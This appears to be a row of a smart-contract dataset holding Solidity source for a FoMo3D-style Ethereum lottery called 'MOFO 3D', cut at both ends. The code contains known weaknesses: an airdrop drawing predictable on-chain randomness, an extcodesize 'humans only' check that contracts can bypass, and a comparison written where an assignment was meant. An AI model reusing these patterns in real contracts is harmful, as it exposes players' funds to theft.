_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,957 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd3a349029378b48fe696eD2F7f5d0560E51A7b3a);
address private admin = msg.sender;
string constant public name = "MOFO 3D";
string constant public symbol = "MOFO";
uint256 public rndExtra_ = 30 minutes;
uint256 public rndGap_ = 1 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 5 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = (8 * _eth) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
